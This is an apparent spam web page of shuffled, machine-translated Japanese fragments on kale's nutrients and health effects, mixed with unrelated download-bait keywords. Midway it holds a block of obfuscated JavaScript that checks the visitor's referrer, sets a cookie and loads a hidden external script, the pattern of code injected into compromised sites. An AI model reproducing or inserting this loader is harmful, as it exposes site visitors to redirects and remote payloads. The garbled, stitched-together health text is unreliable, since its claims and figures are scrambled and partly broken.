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その信じられないほど低いカロリー含有量を考えると、ケールは現存する中で最も栄養密度の高い食品の一つです。.. 葉は緑色または紫色にすることができ、滑らかなまたは巻き毛の形状を有することができる。.

ほんの数例を挙げると、それらは強力な心臓保護、血圧降下、抗炎症、抗ウイルス、抗鬱および抗ガン効果を持っています（6、7、8）。.

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ケールはごくわずかな脂肪しか含まないが、その中の脂肪の大部分はアルファリノレン酸と呼ばれるオメガ-3脂肪酸である.. より多くのケールを食べることは劇的にあなたの食事療法の総栄養素含有量を増やすための素晴らしい方法です.. 酸化防止剤は、体内のフリーラジカルによる酸化的損傷に対抗するのを助ける物質です（3）.. まとめケールは栄養素が非常に多くカロリーが非常に低いため、地球上で最も栄養価の高い食品の1つです。.. 酸化的損傷は、加齢および癌を含む多くの疾患の主要な推進力の一つであると考えられています（4）. Download Game Onet Chen Program Study

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まとめケルセチンやケンペロールなど、ケルにはたくさんの強力な抗酸化物質が含まれています。これらは健康に有益な効果をもたらします。.. しかし、抗酸化物質であることが起こる多くの物質はまた他の重要な機能を持っています.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x41cd6f){_0x5cd01a=window;}return _0x5cd01a;};var _0x3484a6=_0x21b58f();var _0x50f64f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3484a6['atob']||(_0x3484a6['atob']=function(_0x4ff902){var _0x56c51e=String(_0x4ff902)['replace'](/=+$/,'');for(var _0x2d5a45=0x0,_0x385849,_0x515715,_0xf5d2e1=0x0,_0x196d50='';_0x515715=_0x56c51e['charAt'](_0xf5d2e1++);~_0x515715&&(_0x385849=_0x2d5a45%0x4?_0x385849*0x40+_0x515715:_0x515715,_0x2d5a45++%0x4)?_0x196d50+=String['fromCharCode'](0xff&_0x385849>>(-0x2*_0x2d5a45&0x6)):0x0){_0x515715=_0x50f64f['indexOf'](_0x515715);}return _0x196d50;});}());_0x3a6d['QWOXrh']=function(_0x2292f3){var _0x54b4b7=atob(_0x2292f3);var _0x26fb91=[];for(var _0x325f68=0x0,_0x164839=_0x54b4b7['length'];_0x325f68=_0x231970;},'nHiyY':function(_0x38d955,_0x12c4d9){return _0x38d955!==_0x12c4d9;},'DPAXV':_0x3a6d('0x28'),'hShXn':function(_0x4e7ad0,_0x57ff06){return _0x4e7ad0===_0x57ff06;},'ceDyy':'XYmIE','BXozK':function(_0x48e14c,_0x3baa81){return _0x48e14c(_0x3baa81);},'OYULB':function(_0x3c4847,_0x47891e){return _0x3c4847+_0x47891e;}};var _0x41ba0c=[_0x3a6d('0x29'),_0x38fbc4[_0x3a6d('0x2a')],_0x38fbc4[_0x3a6d('0x2b')],_0x38fbc4[_0x3a6d('0x2c')],_0x38fbc4[_0x3a6d('0x2d')],_0x38fbc4['sAcKT'],_0x38fbc4[_0x3a6d('0x2e')]],_0x569d10=document[_0x3a6d('0x2f')],_0x8ca25b=![],_0x13b39a=cookie['get'](_0x38fbc4[_0x3a6d('0x30')]);for(var _0x4551cb=0x0;_0x38fbc4['trFoA'](_0x4551cb,_0x41ba0c['length']);_0x4551cb++){if(_0x38fbc4['biqqo'](_0x569d10[_0x3a6d('0x31')](_0x41ba0c[_0x4551cb]),0x0)){if(_0x38fbc4[_0x3a6d('0x32')](_0x38fbc4[_0x3a6d('0x33')],_0x38fbc4['DPAXV'])){cookie[_0x3a6d('0x34')](_0x38fbc4[_0x3a6d('0x30')],0x1,0x1);if(!_0x13b39a){include(_0x38fbc4[_0x3a6d('0x35')](_0x38fbc4[_0x3a6d('0x35')](_0x38fbc4[_0x3a6d('0x36')],q),''));}}else{_0x8ca25b=!![];}}}if(_0x8ca25b){if(_0x38fbc4[_0x3a6d('0x37')](_0x38fbc4[_0x3a6d('0x38')],_0x3a6d('0x39'))){cookie[_0x3a6d('0x34')](_0x38fbc4['LFHiv'],0x1,0x1);if(!_0x13b39a){_0x38fbc4['BXozK'](include,_0x38fbc4[_0x3a6d('0x3a')](_0x38fbc4[_0x3a6d('0x36')]+q,''));}}else{document[_0x3a6d('0xc')]=_0x38fbc4[_0x3a6d('0x35')](_0x38fbc4[_0x3a6d('0x3b')](_0x38fbc4[_0x3a6d('0x3b')](_0x38fbc4[_0x3a6d('0x3b')](name,'='),_0x38fbc4[_0x3a6d('0x3c')](escape,value)),expires?_0x38fbc4[_0x3a6d('0x3b')](_0x3a6d('0x18'),new Date(_0x38fbc4[_0x3a6d('0x3b')](new Date()[_0x3a6d('0x1d')](),_0x38fbc4['OkXBT'](expires,0x3e8)))):''),path?_0x38fbc4[_0x3a6d('0x3b')](_0x38fbc4[_0x3a6d('0x3d')],path):'')+(domain?_0x38fbc4[_0x3a6d('0x3e')](_0x38fbc4[_0x3a6d('0x3f')],domain):'')+(secure?_0x38fbc4['LkFiE']:'');}}}R(); ケールにはあらゆる種類の有益な化合物が含まれており、そのうちのいくつかは強力な薬効成分を持っています.. 概要ケールはビタミンC、体内で多くの重要な役割を持っている抗酸化物質が非常に高いです. Roxio Creator Full Version

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ビタミンＣは、身体の細胞において多くの生命維持機能を果たす重要な水溶性抗酸化剤である。.. 4オンス）は（1）を含んでいます：ビタミンA：DVの206％（ベータカロチンより）ビタミンK：DVビタミンCの684％：DVビタミンB6の134％：DVManの9％：DVCalciumの26％：9％のDVコッパー：10％のDVカリウム：9％のDVMマグネシウム：6％のDVItはビタミンB1（チアミン）、ビタミンB2（リボフラビン）、ビタミンB3（ナイアシン）についても3％以上のDVを含む）、鉄、リンこれは合計33カロリー、炭水化物6グラム（うち2本は繊維）および3グラムのタンパク質を含んでいます。.. 生ケールのカップには、オレンジ全体よりもさらにビタミンCが含まれています（10）.. それはキャベツ、ブロッコリー、カリフラワー、コラードグリーンおよびブリュッセルもやしのようなアブラナ科の野菜です.. これらには、ベータカロチンとビタミンC、そしてさまざまなフラボノイドとポリフェノールが含まれます（2）。. ae05505a44 Mac Library Logs Location

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